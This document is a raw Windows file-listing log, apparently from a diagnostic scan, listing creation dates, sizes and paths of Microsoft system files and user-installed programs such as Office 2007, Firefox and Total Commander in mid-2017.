2017-05-30 11:06 - 2017-05-20 09:03 - 00777400 _____ (Microsoft Corporation) C:\windows\system32\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 09:02 - 02969880 _____ (Microsoft Corporation) C:\windows\system32\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 09:01 - 00923040 _____ (Microsoft Corporation) C:\windows\system32\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 08:59 - 00112544 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dam.sys
2017-05-30 11:06 - 2017-05-20 08:58 - 00188824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dumpsd.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 04847928 _____ (Microsoft Corporation) C:\windows\explorer.exe
2017-05-30 11:06 - 2017-05-20 08:56 - 02444192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgkrnl.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00712608 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms2.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00370928 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsAdminFlows.exe
2017-05-30 11:06 - 2017-05-20 08:55 - 07325584 _____ (Microsoft Corporation) C:\windows\system32\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 05477088 _____ (Microsoft Corporation) C:\windows\system32\OneCoreUAPCommonProxyStub.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01911752 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01506712 _____ (Microsoft Corporation) C:\windows\system32\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01055648 _____ (Microsoft Corporation) C:\windows\system32\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00961952 _____ (Microsoft Corporation) C:\windows\system32\efscore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00211872 _____ (Microsoft Corporation) C:\windows\system32\browserbroker.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00872472 _____ (Microsoft Corporation) C:\windows\system32\ClipSVC.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00730016 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vhdmp.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00546208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storport.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00144288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storahci.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00654976 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00411040 _____ (Microsoft Corporation) C:\windows\system32\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00363424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fastfat.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00335808 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthService.exe
2017-05-30 11:06 - 2017-05-20 08:53 - 00255904 _____ (Microsoft Corporation) C:\windows\system32\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 07904784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 04709528 _____ (Microsoft Corporation) C:\windows\system32\mfcore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 01700408 _____ (Microsoft Corporation) C:\windows\system32\mfplat.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 21352176 _____ (Microsoft Corporation) C:\windows\system32\shell32.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 06551856 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 02604256 _____ (Microsoft Corporation) C:\windows\system32\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01670496 _____ (Microsoft Corporation) C:\windows\system32\winmde.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01219560 _____ (Microsoft Corporation) C:\windows\system32\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 00406064 _____ (Microsoft Corporation) C:\windows\system32\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 08:48 - 00387928 _____ (Microsoft Corporation) C:\windows\system32\wmpps.dll
2017-05-30 11:06 - 2017-05-20 08:22 - 23677440 _____ (Microsoft Corporation) C:\windows\system32\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00809472 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthSSO.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00584192 _____ (Microsoft Corporation) C:\windows\system32\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00361472 _____ (Microsoft Corporation) C:\windows\system32\ConhostV2.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\utcutil.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\winsrvext.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ksthunk.sys
2017-05-30 11:06 - 2017-05-20 08:09 - 17365504 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 02199552 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 00209408 _____ (Microsoft Corporation) C:\windows\system32\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\mssprxy.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00086016 _____ C:\windows\system32\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rootmdm.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00277504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\xboxgip.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\XblGameSaveExt.dll
2017-05-30 11:06 - 2017-05-20 08:07 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\snmptrap.exe
2017-05-30 11:06 - 2017-05-20 08:06 - 00866816 _____ (Microsoft Corporation) C:\windows\system32\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00232448 _____ (Microsoft Corporation) C:\windows\system32\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00192512 _____ (Microsoft Corporation) C:\windows\system32\Windows.SharedPC.AccountManager.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 07931392 _____ (Microsoft Corporation) C:\windows\system32\twinui.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00518144 _____ (Microsoft Corporation) C:\windows\system32\daxexec.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\winsrv.dll
2017-05-30 11:06 - 2017-05-20 08:04 - 00778240 _____ C:\windows\system32\MBR2GPT.EXE
2017-05-30 11:06 - 2017-05-20 08:03 - 23681024 _____ (Microsoft Corporation) C:\windows\system32\mshtml.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 08331264 _____ (Microsoft Corporation) C:\windows\system32\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00892416 _____ (Microsoft Corporation) C:\windows\system32\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00549888 _____ (Microsoft Corporation) C:\windows\system32\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00527360 _____ (Microsoft Corporation) C:\windows\system32\aadcloudap.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00491520 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Display.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00427008 _____ (Microsoft Corporation) C:\windows\system32\provengine.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00197120 _____ (Microsoft Corporation) C:\windows\system32\bcdboot.exe
2017-05-30 11:06 - 2017-05-20 08:02 - 00616960 _____ (Microsoft Corporation) C:\windows\system32\WindowManagement.dll
2017-05-30 11:06 - 2017-05-20 08:02 - 00601088 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 02347520 _____ (Microsoft Corporation) C:\windows\system32\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 01878016 _____ (Microsoft Corporation) C:\windows\system32\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\cdpsvc.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00590848 _____ (Microsoft Corporation) C:\windows\system32\vbscript.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00586240 _____ (Microsoft Corporation) C:\windows\system32\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00409600 _____ (Microsoft Corporation) C:\windows\system32\updatehandlers.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00408064 _____ (Microsoft Corporation) C:\windows\system32\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00299520 _____ (Microsoft Corporation) C:\windows\system32\AboveLockAppHost.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\embeddedmodesvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01078272 _____ (Microsoft Corporation) C:\windows\system32\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01067008 _____ (Microsoft Corporation) C:\windows\system32\XboxNetApiSvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00925696 _____ (Microsoft Corporation) C:\windows\system32\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00846848 _____ (Microsoft Corporation) C:\windows\system32\bisrv.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00417792 _____ (Microsoft Corporation) C:\windows\system32\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 08:00 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\cldapi.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01818624 _____ (Microsoft Corporation) C:\windows\system32\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01468416 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.desktop.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01260544 _____ (Microsoft Corporation) C:\windows\system32\GamePanel.exe
2017-05-30 11:06 - 2017-05-20 07:59 - 01141760 _____ (Microsoft Corporation) C:\windows\system32\MapsStore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01028608 _____ (Microsoft Corporation) C:\windows\system32\modernexecserver.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00972800 _____ (Microsoft Corporation) C:\windows\system32\sysmain.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00687104 _____ (Microsoft Corporation) C:\windows\system32\LogonController.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00585216 _____ (Microsoft Corporation) C:\windows\system32\AppReadiness.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 08244736 _____ (Microsoft Corporation) C:\windows\system32\Chakra.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03784704 _____ (Microsoft Corporation) C:\windows\system32\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03135488 _____ (Microsoft Corporation) C:\windows\system32\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01886208 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.onecore.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01046016 _____ (Microsoft Corporation) C:\windows\system32\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00909824 _____ (Microsoft Corporation) C:\windows\system32\ISM.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00374784 _____ (Microsoft Corporation) C:\windows\system32\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 07:57 - 12787200 _____ (Microsoft Corporation) C:\windows\system32\ieframe.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 02801664 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentServer.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 00681984 _____ (Microsoft Corporation) C:\windows\system32\usocore.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02730496 _____ (Microsoft Corporation) C:\windows\system32\smartscreen.exe
2017-05-30 11:06 - 2017-05-20 07:56 - 02624512 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Logon.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02056192 _____ (Microsoft Corporation) C:\windows\system32\win32kbase.sys
2017-05-30 11:06 - 2017-05-20 07:56 - 01076736 _____ (Microsoft Corporation) C:\windows\system32\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 04396032 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 03332096 _____ (Microsoft Corporation) C:\windows\system32\SRH.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 02499584 _____ (Microsoft Corporation) C:\windows\system32\twinui.pcshell.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01293824 _____ (Microsoft Corporation) C:\windows\system32\aadtb.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01102848 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 05557760 _____ (Microsoft Corporation) C:\windows\system32\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04707840 _____ (Microsoft Corporation) C:\windows\system32\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04537344 _____ (Microsoft Corporation) C:\windows\system32\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 03803136 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsThresholdAdminFlowUI.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02938880 _____ (Microsoft Corporation) C:\windows\system32\InputService.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02651136 _____ (Microsoft Corporation) C:\windows\system32\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02516480 _____ (Microsoft Corporation) C:\windows\system32\diagtrack.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 01275904 _____ (Microsoft Corporation) C:\windows\system32\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 01356800 _____ (Microsoft Corporation) C:\windows\system32\audiosrv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00624640 _____ (Microsoft Corporation) C:\windows\system32\AudioEndpointBuilder.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00557568 _____ (Microsoft Corporation) C:\windows\system32\wpnprv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00476160 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Core.TextInput.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 01706496 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 00148480 _____ (Microsoft Corporation) C:\windows\system32\umpo.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00439808 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\NPSM.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 02438656 _____ (Microsoft Corporation) C:\windows\system32\ResetEngine.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\vss_ps.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00641536 _____ (Microsoft Corporation) C:\windows\system32\rdbui.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00199680 _____ (Microsoft Corporation) C:\windows\system32\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00064512 _____ (Microsoft Corporation) C:\windows\bfsvc.exe
2017-05-30 10:01 - 2017-05-30 10:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Live Add-in
2017-05-30 09:56 - 2017-05-30 09:56 - 00000017 _____ C:\Users\****\AppData\Local\resmon.resmoncfg
2017-05-30 09:55 - 2017-06-04 00:38 - 00000000 ____D C:\Users\****\AppData\Local\CrashDumps
2017-05-30 09:55 - 2017-05-30 09:55 - 00000000 ____D C:\Users\****\AppData\Local\DBG
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help
2017-05-30 09:42 - 2017-05-30 09:42 - 00002811 _____ C:\Users\****\Desktop\Microsoft Office Outlook 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002739 _____ C:\Users\****\Desktop\Microsoft Office PowerPoint 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002719 _____ C:\Users\****\Desktop\Microsoft Office Excel 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002713 _____ C:\Users\****\Desktop\Microsoft Office Word 2007.lnk
2017-05-30 09:40 - 2017-05-30 09:41 - 00000000 ____D C:\Program Files (x86)\Microsoft Works
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\windows\PCHEALTH
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio
2017-05-30 09:39 - 2017-05-30 10:01 - 00000000 ____D C:\Program Files (x86)\Microsoft Office
2017-05-30 09:39 - 2017-05-30 09:40 - 00000000 ____D C:\windows\SHELLNEW
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 __RHD C:\MSOCache
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Users\****\AppData\Local\Microsoft Help
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Program Files\Microsoft Office
2017-05-30 09:37 - 2017-05-30 09:46 - 00000000 ____D C:\Program Files\totalcmd
2017-05-30 09:37 - 2017-05-30 09:37 - 00000900 _____ C:\Users\****\Desktop\Total Commander.lnk
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Total Commander
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\GHISLER
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Local\GHISLER
2017-05-30 09:32 - 2017-06-06 12:26 - 00000000 ____D C:\Users\****\AppData\LocalLow\Mozilla
2017-05-30 09:32 - 2017-06-03 00:24 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-05-30 09:32 - 2017-06-03 00:08 - 00001136 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-06-03 00:08 - 00001124 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-05-30 20:35 - 00000000 ____D C:\Users\****\AppData\Local\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Users\****\AppData\Roaming\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 09:31 - 2017-05-30 09:31 - 00000000 ____D C:\Users\****\AppData\Local\MicrosoftEdge
2017-05-30 09:29 - 2017-06-06 12:18 - 00000000 ____D C:\Users\****\AppData\Local\ClassicShell
2017-05-30 09:29 - 2017-05-30 09:29 - 00000000 ____D C:\Users\****\AppData\Roaming\ClassicShell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Classic Shell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\Program Files\Classic Shell
2017-05-30 08:01 - 2017-04-28 03:38 - 01411128 _____ (Microsoft Corporation) C:\windows\SysWOW64\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:19 - 01839872 _____ (Microsoft Corporation) C:\windows\SysWOW64\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:16 - 00599576 _____ (Microsoft Corporation) C:\windows\SysWOW64\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:12 - 01604312 _____ (Microsoft Corporation) C:\windows\system32\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:11 - 02158544 _____ (Microsoft Corporation) C:\windows\SysWOW64\iertutil.dll
2017-05-30 08:01 - 2017-04-28 03:09 - 01557288 _____ (Microsoft Corporation) C:\windows\SysWOW64\crypt32.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02399728 _____ (Microsoft Corporation) C:\windows\system32\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02330520 _____ (Microsoft Corporation) C:\windows\SysWOW64\combase.dll
2017-05-30 08:01 - 2017-04-28 03:07 - 00988168 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole32.dll
2017-05-30 08:01 - 2017-04-28 03:06 - 00708712 _____ (Microsoft Corporation) C:\windows\system32\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:03 - 00667040 _____ (Microsoft Corporation) C:\windows\system32\ci.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 02635336 _____ (Microsoft Corporation) C:\windows\system32\iertutil.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 00388000 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBXHCI.SYS
2017-05-30 08:01 - 2017-04-28 02:59 - 00027040 _____ (Microsoft Corporation) C:\windows\system32\browser_broker.exe
2017-05-30 08:01 - 2017-04-28 02:58 - 01852776 _____ (Microsoft Corporation) C:\windows\system32\crypt32.dll
2017-05-30 08:01 - 2017-04-28 02:57 - 03116184 _____ (Microsoft Corporation) C:\windows\system32\combase.dll
2017-05-30 08:01 - 2017-04-28 02:55 - 01325456 _____ (Microsoft Corporation) C:\windows\system32\ole32.dll
2017-05-30 08:01 - 2017-04-28 02:52 - 02957824 _____ (Microsoft Corporation) C:\windows\SysWOW64\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:52 - 00790528 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:49 - 00072192 _____ (Microsoft Corporation) C:\windows\SysWOW64\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:44 - 00266240 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:40 - 00799232 _____ (Microsoft Corporation) C:\windows\SysWOW64\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 03655680 _____ (Microsoft Corporation) C:\windows\SysWOW64\jscript9.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 02859520 _____ (Microsoft Corporation) C:\windows\SysWOW64\wininet.dll
2017-05-30 08:01 - 2017-04-28 02:37 - 01626624 _____ (Microsoft Corporation) C:\windows\SysWOW64\urlmon.dll
2017-05-30 08:01 - 2017-04-28 02:34 - 00891904 _____ (Microsoft Corporation) C:\windows\SysWOW64\autochk.exe
2017-05-30 08:01 - 2017-04-28 02:15 - 03672064 _____ (Microsoft Corporation) C:\windows\system32\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:15 - 01051648 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:11 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:11 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BasicRender.sys
2017-05-30 08:01 - 2017-04-28 02:08 - 00314880 _____ (Microsoft Corporation) C:\windows\system32\SettingsEnvironment.Desktop.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 01302528 _____ (Microsoft Corporation) C:\windows\system32\MSVPXENC.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00386560 _____ (Microsoft Corporation) C:\windows\system32\iedkcs32.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00274944 _____ (Microsoft Corporation) C:\windows\system32\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 01085440 _____ (Microsoft Corporation) C:\windows\system32\rpcss.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 00751104 _____ (Microsoft Corporation) C:\windows\system32\msfeeds.dll
2017-05-30 08:01 - 2017-04-28 02:01 - 02077184 _____ (Microsoft Corporation) C:\windows\system32\inetcpl.cpl
2017-05-30 08:01 - 2017-04-28 01:59 - 03307008 _____ (Microsoft Corporation) C:\windows\system32\wininet.dll
2017-05-30 08:01 - 2017-04-28 01:58 - 01054208 _____ (Microsoft Corporation) C:\windows\system32\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 04730368 _____ (Microsoft Corporation) C:\windows\system32\jscript9.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 01803264 _____ (Microsoft Corporation) C:\windows\system32\urlmon.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00985600 _____ (Microsoft Corporation) C:\windows\system32\TSWorkspace.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\autochk.exe
2017-05-30 08:01 - 2017-04-28 01:54 - 00722944 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv2.sys
2017-05-30 08:01 - 2017-04-28 01:54 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv.sys
2017-05-30 08:01 - 2017-04-19 09:06 - 00651680 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 09:04 - 00142240 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wcifs.sys
2017-05-30 08:01 - 2017-04-19 09:02 - 00716440 _____ (Microsoft Corporation) C:\windows\system32\MSVideoDSP.dll
2017-05-30 08:01 - 2017-04-19 08:19 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\musdialoghandlers.dll
2017-05-30 08:01 - 2017-04-19 08:18 - 00118784 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netvsc.sys
2017-05-30 08:01 - 2017-04-19 08:16 - 00280064 _____ (Microsoft Corporation) C:\windows\system32\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 08:15 - 00232960 _____ (Microsoft Corporation) C:\windows\system32\wcmcsp.dll
2017-05-30 08:01 - 2017-04-19 08:14 - 00646656 _____ (Microsoft Corporation) C:\windows\system32\LockHostingFramework.dll
2017-05-30 08:01 - 2017-04-19 08:13 - 00980992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthport.sys
2017-05-30 08:01 - 2017-04-19 08:12 - 00805888 _____ (Microsoft Corporation) C:\windows\system32\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 08:12 - 00203776 _____ (Microsoft Corporation) C:\windows\system32\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 08:11 - 04446208 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_nt.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 04175872 _____ (Microsoft Corporation) C:\windows\system32\StartTileData.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 02765824 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.UnifiedTile.CuratedTileCollections.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 01600512 _____ (Microsoft Corporation) C:\windows\system32\dbghelp.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 01242624 _____ (Microsoft Corporation) C:\windows\system32\SharedStartModel.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 00707072 _____ (Microsoft Corporation) C:\windows\system32\winlogon.exe
2017-05-30 08:01 - 2017-04-19 08:02 - 00559000 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 07:59 - 01087488 _____ (Microsoft Corporation) C:\windows\system32\reseteng.dll
2017-05-30 08:01 - 2017-04-19 07:37 - 00233472 _____ (Microsoft Corporation) C:\windows\SysWOW64\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00358400 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00175616 _____ (Microsoft Corporation) C:\windows\SysWOW64\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 07:32 - 01285120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbghelp.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00741784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Shell.Broker.dll
